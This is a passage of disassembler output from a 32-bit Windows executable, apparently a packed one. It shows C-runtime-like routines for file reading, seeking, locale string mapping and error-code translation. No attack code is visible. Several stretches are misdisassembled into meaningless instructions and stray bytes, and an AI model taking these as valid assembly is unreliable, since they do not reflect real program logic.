9 mov dword_462BC8, ecx jmp loc_418447 ; --------------------------------------------------------------------------- loc_418309: ; CODE XREF: sub_418259+99j cmp eax, 6Dh jnz short loc_418315 loc_41830E: ; CODE XREF: sub_418259+4Cj ; sub_418259+51j xor eax, eax jmp loc_41844A ; --------------------------------------------------------------------------- loc_418315: ; CODE XREF: sub_418259+B3j push eax call sub_418CFA pop ecx jmp loc_418447 ; --------------------------------------------------------------------------- loc_418321: ; CODE XREF: sub_418259+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_418431 test edx, edx jz short loc_418346 cmp byte ptr [edi], 0Ah jnz short loc_418346 or al, 4 jmp short loc_418348 ; --------------------------------------------------------------------------- loc_418346: ; CODE XREF: sub_418259+E2j ; sub_418259+E7j and al, 0FBh loc_418348: ; CODE XREF: sub_418259+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_41842B loc_418360: ; CODE XREF: sub_418259+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_41841B cmp al, 0Dh jz short loc_41837C mov [edi], al inc edi inc [ebp+arg_8] jmp loc_41840D ; --------------------------------------------------------------------------- loc_41837C: ; CODE XREF: sub_418259+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_41839A mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_418391 add [ebp+arg_8], 2 jmp short loc_4183EF ; --------------------------------------------------------------------------- loc_418391: ; CODE XREF: sub_418259+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_41840D ; --------------------------------------------------------------------------- loc_41839A: ; CODE XREF: sub_418259+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] call dword_41D098 ; ReadFile test eax, eax jnz short loc_4183C2 call dword_41D06C ; RtlGetLastWin32Error test eax, eax jnz short loc_418409 loc_4183C2: ; CODE XREF: sub_418259+15Dj cmp [ebp+var_C], 0 jz short loc_418409 mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_4183E4 mov al, [ebp+var_1] cmp al, 0Ah jz short loc_4183EF mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_41840D ; --------------------------------------------------------------------------- loc_4183E4: ; CODE XREF: sub_418259+176j cmp edi, [ebp+arg_4] jnz short loc_4183F4 cmp [ebp+var_1], 0Ah jnz short loc_4183F4 loc_4183EF: ; CODE XREF: sub_418259+136j ; sub_418259+17Dj mov byte ptr [edi], 0Ah jmp short loc_41840C ; --------------------------------------------------------------------------- loc_4183F4: ; CODE XREF: sub_418259+18Ej ; sub_418259+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_41844F add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_41840D loc_418409: ; CODE XREF: sub_418259+167j ; sub_418259+16Dj mov byte ptr [edi], 0Dh loc_41840C: ; CODE XREF: sub_418259+199j inc edi loc_41840D: ; CODE XREF: sub_418259+11Ej ; sub_418259+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_418360 jmp short loc_41842B ; --------------------------------------------------------------------------- loc_41841B: ; CODE XREF: sub_418259+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_41842B or al, 2 mov [esi], al loc_41842B: ; CODE XREF: sub_418259+101j ; sub_418259+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_418431: ; CODE XREF: sub_418259+DAj mov eax, [ebp+var_8] jmp short loc_41844A ; --------------------------------------------------------------------------- loc_418436: ; CODE XREF: sub_418259+12j ; sub_418259+39j and dword_462BC8, 0 mov dword_462BC4, 9 loc_418447: ; CODE XREF: sub_418259+ABj ; sub_418259+C3j or eax, 0FFFFFFFFh loc_41844A: ; CODE XREF: sub_418259+B7j ; sub_418259+1DBj pop edi pop esi pop ebx leave retn sub_418259 endp ; =============== S U B R O U T I N E ======================================= sub_41844F proc near ; CODE XREF: sub_41380E+67p ; sub_414507+CDp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, dword_463FE0 push esi push edi jnb short loc_4184D1 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:463EE0h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_4184D1 push eax call sub_419D93 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_418493 mov dword_462BC4, 9 jmp short loc_4184E2 ; --------------------------------------------------------------------------- loc_418493: ; CODE XREF: sub_41844F+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax call dword_41D09C ; SetFilePointer mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_4184B3 call dword_41D06C ; RtlGetLastWin32Error jmp short loc_4184B5 ; --------------------------------------------------------------------------- loc_4184B3: ; CODE XREF: sub_41844F+5Aj xor eax, eax loc_4184B5: ; CODE XREF: sub_41844F+62j test eax, eax jz short loc_4184C2 push eax call sub_418CFA pop ecx jmp short loc_4184E2 ; --------------------------------------------------------------------------- loc_4184C2: ; CODE XREF: sub_41844F+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_4184E5 ; --------------------------------------------------------------------------- loc_4184D1: ; CODE XREF: sub_41844F+Dj ; sub_41844F+2Aj and dword_462BC8, 0 mov dword_462BC4, 9 loc_4184E2: ; CODE XREF: sub_41844F+42j ; sub_41844F+71j or eax, 0FFFFFFFFh loc_4184E5: ; CODE XREF: sub_41844F+80j pop edi pop esi pop ebx retn sub_41844F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4184E9 proc near ; CODE XREF: sub_41380E+2Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_418505 mov [edi+4], ebx loc_418505: ; CODE XREF: sub_4184E9+17j push 1 push ebx push esi call sub_41844F add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_418573 mov edx, [edi+0Ch] test dx, 108h jnz short loc_41852A sub eax, [edi+4] jmp loc_41863C ; --------------------------------------------------------------------------- loc_41852A: ; CODE XREF: sub_4184E9+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_418564 mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, dword_463EE0[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_41857B mov edx, ecx loc_418555: ; CODE XREF: sub_4184E9+79j cmp edx, eax jnb short loc_41857B cmp byte ptr [edx], 0Ah jnz short loc_418561 inc [ebp+var_8] loc_418561: ; CODE XREF: sub_4184E9+73j inc edx jmp short loc_418555 ; --------------------------------------------------------------------------- loc_418564: ; CODE XREF: sub_4184E9+50j test dl, 80h jnz short loc_41857B mov dword_462BC4, 16h loc_418573: ; CODE XREF: sub_4184E9+2Dj or eax, 0FFFFFFFFh jmp loc_41863C ; --------------------------------------------------------------------------- loc_41857B: ; CODE XREF: sub_4184E9+68j ; sub_4184E9+6Ej ... cmp [ebp+var_4], 0 jnz short loc_418589 mov eax, [ebp+var_8] jmp loc_41863C ; --------------------------------------------------------------------------- loc_418589: ; CODE XREF: sub_4184E9+96j test byte ptr [edi+0Ch], 1 jz loc_418634 mov edx, [edi+4] test edx, edx jnz short loc_4185A2 and [ebp+var_8], edx jmp loc_418634 ; --------------------------------------------------------------------------- loc_4185A2: ; CODE XREF: sub_4184E9+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:463EE0h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_41862E push 2 push 0 push [ebp+var_C] call sub_41844F add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_4185F5 mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_4185E0: ; CODE XREF: sub_4184E9+104j cmp eax, ecx jnb short loc_4185EF cmp byte ptr [eax], 0Ah jnz short loc_4185EC inc [ebp+arg_0] loc_4185EC: ; CODE XREF: sub_4184E9+FEj inc eax jmp short loc_4185E0 ; --------------------------------------------------------------------------- loc_4185EF: ; CODE XREF: sub_4184E9+F9j test byte ptr [edi+0Dh], 20h jmp short loc_418629 ; --------------------------------------------------------------------------- loc_4185F5: ; CODE XREF: sub_4184E9+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_41844F mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_41861C mov ecx, [edi+0Ch] test cl, 8 jz short loc_41861C test ch, 4 jz short loc_41861F loc_41861C: ; CODE XREF: sub_4184E9+124j ; sub_4184E9+12Cj mov eax, [edi+18h] loc_41861F: ; CODE XREF: sub_4184E9+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_418629: ; CODE XREF: sub_4184E9+10Aj jz short loc_41862E inc [ebp+arg_0] loc_41862E: ; CODE XREF: sub_4184E9+D9j ; sub_4184E9:loc_418629j mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_418634: ; CODE XREF: sub_4184E9+A4j ; sub_4184E9+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_41863C: ; CODE XREF: sub_4184E9+3Cj ; sub_4184E9+8Dj ... pop edi pop esi pop ebx leave retn sub_4184E9 endp ; --------------------------------------------------------------------------- loc_418641: ; CODE XREF: sub_413A37+A3p ; sub_417541+A5p ... push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41D870 push offset sub_419528 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp-18h], esp xor edi, edi cmp dword_462C4C, edi jnz short loc_4186B7 push edi push edi push 1 pop ebx push ebx push offset dword_41D868 mov esi, 100h push esi push edi call dword_41D188 ; LCMapStringW test eax, eax jz short loc_418695 mov dword_462C4C, ebx jmp short loc_4186B7 ; --------------------------------------------------------------------------- loc_418695: ; CODE XREF: .nsp0:0041868Bj push edi push edi push ebx push offset dword_432704 push esi push edi call near ptr 0AB0000h mov [ebp+22840FC0h], eax add [eax], eax add bh, al add eax, offset dword_462C4C add al, [eax] ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_4186B7: ; CODE XREF: .nsp0:0041866Fj ; .nsp0:00418693j cmp [ebp+14h], edi jle short loc_4186CC push dword ptr [ebp+14h] push dword ptr [ebp+10h] call sub_418865 pop ecx pop ecx mov [ebp+14h], eax loc_4186CC: ; CODE XREF: .nsp0:004186BAj mov eax, dword_462C4C cmp eax, 2 jnz short loc_4186F3 push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call near ptr 0AB0000h add ecx, ebp fiadd word ptr [eax] ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_4186F3: ; CODE XREF: .nsp0:004186D4j cmp eax, 1 jnz loc_4187CF cmp [ebp+20h], edi jnz short loc_418709 mov eax, dword_462C68 mov [ebp+20h], eax loc_418709: ; CODE XREF: .nsp0:004186FFj push edi push edi push dword ptr [ebp+14h] push dword ptr [ebp+10h] mov eax, [ebp+24h] neg eax sbb eax, eax and eax, 8 inc eax push eax push dword ptr [ebp+20h] call dword_41D130 ; MultiByteToWideChar mov ebx, eax mov [ebp-1Ch], ebx cmp ebx, edi jz loc_4187CF mov [ebp-4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_412770 mov [ebp-18h], esp mov eax, esp mov [ebp-24h], eax or dword ptr [ebp-4], 0FFFFFFFFh jmp short loc_418764 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] xor edi, edi mov [ebp-24h], edi or dword ptr [ebp-4], 0FFFFFFFFh mov ebx, [ebp-1Ch] loc_418764: ; CODE XREF: .nsp0:0041874Fj cmp [ebp-24h], edi jz short loc_4187CF push ebx push dword ptr [ebp-24h] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push 1 push dword ptr [ebp+20h] call dword_41D130 ; MultiByteToWideChar test eax, eax jz short loc_4187CF push edi push edi push ebx push dword ptr [ebp-24h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call dword_41D188 ; LCMapStringW mov esi, eax mov [ebp-28h], esi cmp esi, edi jz short loc_4187CF test byte ptr [ebp+0Dh], 4 jz short loc_4187E3 cmp [ebp+1Ch], edi jz loc_41885E cmp esi, [ebp+1Ch] jg short loc_4187CF push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] push ebx push dword ptr [ebp-24h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call dword_41D188 ; LCMapStringW test eax, eax jnz loc_41885E loc_4187CF: ; CODE XREF: .nsp0:004186F6j ; .nsp0:0041872Dj ... xor eax, eax loc_4187D1: ; CODE XREF: .nsp0:00418860j lea esp, [ebp-38h] mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4187E3: ; CODE XREF: .nsp0:004187A1j mov dword ptr [ebp-4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_412770 mov [ebp-18h], esp mov ebx, esp mov [ebp-20h], ebx or dword ptr [ebp-4], 0FFFFFFFFh jmp short loc_418817 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] xor edi, edi xor ebx, ebx or dword ptr [ebp-4], 0FFFFFFFFh mov esi, [ebp-28h] loc_418817: ; CODE XREF: .nsp0:00418803j cmp ebx, edi jz short loc_4187CF push esi push ebx push dword ptr [ebp-1Ch] push dword ptr [ebp-24h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call dword_41D188 ; LCMapStringW test eax, eax jz short loc_4187CF cmp [ebp+1Ch], edi push edi push edi jnz short loc_41883E push edi push edi jmp short loc_418844 ; --------------------------------------------------------------------------- loc_41883E: ; CODE XREF: .nsp0:00418838j push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] loc_418844: ; CODE XREF: .nsp0:0041883Cj push esi push ebx push 220h push dword ptr [ebp+20h] call dword_41D12C ; WideCharToMultiByte mov esi, eax cmp esi, edi jz loc_4187CF loc_41885E: ; CODE XREF: .nsp0:004187A6j ; .nsp0:004187C9j mov eax, esi jmp loc_4187D1 ; =============== S U B R O U T I N E ======================================= sub_418865 proc near ; CODE XREF: .nsp0:004186C2p ; sub_41C115+7Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_418882 loc_418875: ; CODE XREF: sub_418865+1Bj cmp byte ptr [eax], 0 jz short loc_418882 inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_418875 loc_418882: ; CODE XREF: sub_418865+Ej ; sub_418865+13j cmp byte ptr [eax], 0 pop esi jnz short loc_41888D sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_41888D: ; CODE XREF: sub_418865+21j mov eax, edx retn sub_418865 endp ; --------------------------------------------------------------------------- loc_418890: ; CODE XREF: sub_418C54+Bp push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push dword ptr [ebp+8] call sub_418A29 mov esi, eax pop ecx cmp esi, dword_463FE4 mov [ebp+8], esi jz loc_418A1D xor ebx, ebx cmp esi, ebx jz loc_418A13 xor edx, edx mov eax, offset dword_431830 loc_4188C4: ; CODE XREF: .nsp0:004188D1j cmp [eax], esi jz short loc_41893A add eax, 30h inc edx cmp eax, offset dword_431920 jl short loc_4188C4 lea eax, [ebp-18h] push eax push esi call near ptr 0AB0000h xor [ebx-7AF0FE08h], al and al, 1 ; --------------------------------------------------------------------------- db 2 dup(0), 6Ah ; --------------------------------------------------------------------------- inc eax xor eax, eax pop ecx mov edi, offset byte_464100 cmp dword ptr [ebp-18h], 1 mov dword_463FE4, esi rep stosd stosb mov dword_464204, ebx jbe loc_4189F9 cmp byte ptr [ebp-12h], 0 jz loc_4189CF lea ecx, [ebp-11h] loc_418917: ; CODE XREF: .nsp0:004189C9j mov dl, [ecx] test dl, dl jz loc_4189CF movzx eax, byte ptr [ecx-1] movzx edx, dl loc_418928: ; CODE XREF: .nsp0:00418938j cmp eax, edx ja loc_4189C3 or byte_464101[eax], 4 inc eax jmp short loc_418928 ; --------------------------------------------------------------------------- loc_41893A: ; CODE XREF: .nsp0:004188C6j push 40h xor eax, eax pop ecx mov edi, offset byte_464100 rep stosd lea esi, [edx+edx*2] mov [ebp-4], ebx shl esi, 4 stosb lea ebx, dword_431840[esi] loc_418956: ; CODE XREF: .nsp0:00418993j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_418989 loc_41895D: ; CODE XREF: .nsp0:00418987j mov dl, [ecx+1] test dl, dl jz short loc_418989 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_418982 mov edx, [ebp-4] mov dl, byte_431828[edx] loc_418977: ; CODE XREF: .nsp0:00418980j or byte_464101[eax], dl inc eax cmp eax, edi jbe short loc_418977 loc_418982: ; CODE XREF: .nsp0:0041896Cj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_41895D loc_418989: ; CODE XREF: .nsp0:0041895Bj ; .nsp0:00418962j inc dword ptr [ebp-4] add ebx, 8 cmp dword ptr [ebp-4], 4 jb short loc_418956 mov eax, [ebp+8] mov dword_463FFC, 1 push eax mov dword_463FE4, eax call sub_418A73 lea esi, dword_431834[esi] mov edi, offset dword_463FF0 movsd movsd pop ecx mov dword_464204, eax movsd jmp short loc_418A18 ; --------------------------------------------------------------------------- loc_4189C3: ; CODE XREF: .nsp0:0041892Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_418917 loc_4189CF: ; CODE XREF: .nsp0:0041890Ej ; .nsp0:0041891Bj push 1 pop eax loc_4189D2: ; CODE XREF: .nsp0:004189DFj or byte_464101[eax], 8 inc eax cmp eax, 0FFh jb short loc_4189D2 push esi call sub_418A73 pop ecx mov dword_464204, eax mov dword_463FFC, 1 jmp short loc_4189FF ; --------------------------------------------------------------------------- loc_4189F9: ; CODE XREF: .nsp0:00418904j mov dword_463FFC, ebx loc_4189FF: ; CODE XREF: .nsp0:004189F7j xor eax, eax mov edi, offset dword_463FF0 stosd stosd stosd jmp short loc_418A18 ; --------------------------------------------------------------------------- cmp dword_462C70, ebx jz short loc_418A21 loc_418A13: ; CODE XREF: .nsp0:004188B7j call sub_418AA6 loc_418A18: ; CODE XREF: .nsp0:004189C1j ; .nsp0:00418A09j call sub_418ACF loc_418A1D: ; CODE XREF: .nsp0:004188ADj xor eax, eax jmp short loc_418A24 ; --------------------------------------------------------------------------- loc_418A21: ; CODE XREF: .nsp0:00418A11j or eax, 0FFFFFFFFh loc_418A24: ; CODE XREF: .nsp0:00418A1Fj pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_418A29 proc near ; CODE XREF: .nsp0:0041889Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_462C70, 0 cmp eax, 0FFFFFFFEh jnz short near ptr loc_418A48+1 mov dword_462C70, 1 call near ptr 0AB0000h loc_418A48: ; CODE XREF: sub_418A29+Ej mov cl, 83h clc std jnz short near ptr loc_418A5D+1 mov dword_462C70, 1 call near ptr 0AB0000h loc_418A5D: ; CODE XREF: sub_418A29+23j mov dl, 83h clc cld jnz short locret_418A72 mov eax, dword_462C68 mov dword_462C70, 1 locret_418A72: ; CODE XREF: sub_418A29+38j retn sub_418A29 endp ; =============== S U B R O U T I N E ======================================= sub_418A73 proc near ; CODE XREF: .nsp0:004189A8p ; .nsp0:004189E2p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_418AA0 sub eax, 4 jz short loc_418A9A sub eax, 0Dh jz short loc_418A94 dec eax jz short loc_418A8E xor eax, eax retn ; --------------------------------------------------------------------------- loc_418A8E: ; CODE XREF: sub_418A73+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_418A94: ; CODE XREF: sub_418A73+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_418A9A: ; CODE XREF: sub_418A73+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_418AA0: ; CODE XREF: sub_418A73+9j mov eax, 411h retn sub_418A73 endp ; =============== S U B R O U T I N E ======================================= sub_418AA6 proc near ; CODE XREF: .nsp0:loc_418A13p push edi push 40h pop ecx xor eax, eax mov edi, offset byte_464100 rep stosd stosb xor eax, eax mov edi, offset dword_463FF0 mov dword_463FE4, eax mov dword_463FFC, eax mov dword_464204, eax stosd stosd stosd pop edi retn sub_418AA6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418ACF proc near ; CODE XREF: .nsp0:loc_418A18p var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_463FE4 call near ptr 0AB0000h push cs cmp eax, 1 jnz loc_418C08 xor eax, eax mov esi, 100h loc_418AF9: ; CODE XREF: sub_418ACF+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_418AF9 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_418B4A push ebx push edi lea edx, [ebp+var_D] loc_418B18: ; CODE XREF: sub_418ACF+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_418B3F sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_418B3F: ; CODE XREF: sub_418ACF+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_418B18 pop edi pop ebx loc_418B4A: ; CODE XREF: sub_418ACF+42j push 0 lea eax, [ebp+var_514] push dword_464204 push dword_463FE4 push eax lea eax, [ebp+var_114] push esi push eax push 1 call loc_419AC4 push 0 lea eax, [ebp+var_214] push dword_463FE4 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_464204 call loc_418641 push 0 lea eax, [ebp+var_314] push dword_463FE4 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_464204 call loc_418641 add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_418BC5: ; CODE XREF: sub_418ACF+135j mov dx, [ecx] test dl, 1 jz short loc_418BE3 or byte_464101[eax], 10h mov dl, [ebp+eax+var_214] loc_418BDB: ; CODE XREF: sub_418ACF+127j mov byte_464000[eax], dl jmp short loc_418BFF ; --------------------------------------------------------------------------- loc_418BE3: ; CODE XREF: sub_418ACF+FCj test dl, 2 jz short loc_418BF8 or byte_464101[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_418BDB ; --------------------------------------------------------------------------- loc_418BF8: ; CODE XREF: sub_418ACF+117j and byte_464000[eax], 0 loc_418BFF: ; CODE XREF: sub_418ACF+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_418BC5 jmp short loc_418C51 ; --------------------------------------------------------------------------- loc_418C08: ; CODE XREF: sub_418ACF+1Dj xor eax, eax mov esi, 100h loc_418C0F: ; CODE XREF: sub_418ACF+180j cmp eax, 41h jb short loc_418C2D cmp eax, 5Ah ja short loc_418C2D or byte_464101[eax], 10h mov cl, al add cl, 20h loc_418C25: ; CODE XREF: sub_418ACF+174j mov byte_464000[eax], cl jmp short loc_418C4C ; --------------------------------------------------------------------------- loc_418C2D: ; CODE XREF: sub_418ACF+143j ; sub_418ACF+148j cmp eax, 61h jb short loc_418C45 cmp eax, 7Ah ja short loc_418C45 or byte_464101[eax], 20h mov cl, al sub cl, 20h jmp short loc_418C25 ; --------------------------------------------------------------------------- loc_418C45: ; CODE XREF: sub_418ACF+161j ; sub_418ACF+166j and byte_464000[eax], 0 loc_418C4C: ; CODE XREF: sub_418ACF+15Cj inc eax cmp eax, esi jb short loc_418C0F loc_418C51: ; CODE XREF: sub_418ACF+137j pop esi leave retn sub_418ACF endp ; =============== S U B R O U T I N E ======================================= sub_418C54 proc near ; CODE XREF: .nsp0:00418EEEp ; sub_418F3D+Dp ... cmp dword_46422C, 0 jnz short locret_418C6F push 0FFFFFFFDh call loc_418890 pop ecx mov dword_46422C, 1 locret_418C6F: ; CODE XREF: sub_418C54+7j retn sub_418C54 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418C70 proc near ; CODE XREF: sub_413BF8+2Bp ; sub_413BF8+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_463FFC, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_418C94 push [ebp+arg_8] push [ebp+arg_4] push edi call sub_413710 add esp, 0Ch jmp short loc_418CF7 ; --------------------------------------------------------------------------- loc_418C94: ; CODE XREF: sub_418C70+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_418CD9 mov ecx, [ebp+arg_4] loc_418C9F: ; CODE XREF: sub_418C70+5Bj mov al, [ecx] dec edx movzx esi, al test byte_464101[esi], 4 mov [edi], al jz short loc_418CC3 inc edi inc ecx test edx, edx jz short loc_418CCF mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_418CD5 jmp short loc_418CC9 ; --------------------------------------------------------------------------- loc_418CC3: ; CODE XREF: sub_418C70+3Ej inc edi inc ecx test al, al jz short loc_418CD9 loc_418CC9: ; CODE XREF: sub_418C70+51j test edx, edx jnz short loc_418C9F jmp short loc_418CD9 ; --------------------------------------------------------------------------- loc_418CCF: ; CODE XREF: sub_418C70+44j and byte ptr [edi-1], 0 jmp short loc_418CD9 ; --------------------------------------------------------------------------- loc_418CD5: ; CODE XREF: sub_418C70+4Fj and byte ptr [edi-2], 0 loc_418CD9: ; CODE XREF: sub_418C70+2Aj ; sub_418C70+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_418CF4 lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_418CF4: ; CODE XREF: sub_418C70+6Fj mov eax, [ebp+arg_0] loc_418CF7: ; CODE XREF: sub_418C70+22j pop edi pop ebp retn sub_418C70 endp ; =============== S U B R O U T I N E ======================================= sub_418CFA proc near ; CODE XREF: sub_413EAF+16p ; sub_414103+1Dp ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov dword_462BC8, ecx mov eax, offset dword_431920 loc_418D0B: ; CODE XREF: sub_418CFA+1Ej cmp ecx, [eax] jz short loc_418D2F add eax, 8 inc edx cmp eax, offset dword_431A88 jl short loc_418D0B cmp ecx, 13h jb short loc_418D3C cmp ecx, 24h ja short loc_418D3C mov dword_462BC4, 0Dh retn ; --------------------------------------------------------------------------- loc_418D2F: ; CODE XREF: sub_418CFA+13j mov eax, dword_431924[edx*8] mov dword_462BC4, eax retn ; --------------------------------------------------------------------------- loc_418D3C: ; CODE XREF: sub_418CFA+23j ; sub_418CFA+28j cmp ecx, 0BCh jb short loc_418D56 cmp ecx, 0CAh mov dword_462BC4, 8 jbe short locret_418D60 loc_418D56: ; CODE XREF: sub_418CFA+48j mov dword_462BC4, 16h locret_418D60: ; CODE XREF: sub_418CFA+5Aj retn sub_418CFA endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push dword ptr [ebp+8] call sub_418EA2 test eax, eax pop ecx jz loc_418E96 mov ebx, [eax+8] test ebx, ebx jz loc_418E96 cmp ebx, 5 jnz short loc_418D92 and dword ptr [eax+8], 0 push 1 pop eax jmp loc_418E9F ; --------------------------------------------------------------------------- loc_418D92: ; CODE XREF: .nsp0:00418D84j cmp ebx, 1 jz loc_418E91 mov ecx, dword_462C74 mov [ebp+8], ecx mov ecx, [ebp+0Ch] mov dword_462C74, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_418E81 mov ecx, dword_431B00 mov edx, dword_431B04 add edx, ecx push esi cmp ecx, edx jge short loc_418DE1 lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:431A90h[esi*4] loc_418DD8: ; CODE XREF: .nsp0:00418DDFj and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_418DD8 loc_418DE1: ; CODE XREF: .nsp0:00418DCAj mov eax, [eax] mov esi, dword_431B0C cmp eax, 0C000008Eh jnz short loc_418DFC mov dword_431B0C, 83h jmp short loc_418E6C ; --------------------------------------------------------------------------- loc_418DFC: ; CODE XREF: .nsp0:00418DEEj cmp eax, 0C0000090h jnz short loc_418E0F mov dword_431B0C, 81h jmp short loc_418E6C ; --------------------------------------------------------------------------- loc_418E0F: ; CODE XREF: .nsp0:00418E01j cmp eax, 0C0000091h jnz short loc_418E22 mov dword_431B0C, 84h jmp short loc_418E6C ; --------------------------------------------------------------------------- loc_418E22: ; CODE XREF: .nsp0:00418E14j cmp eax, 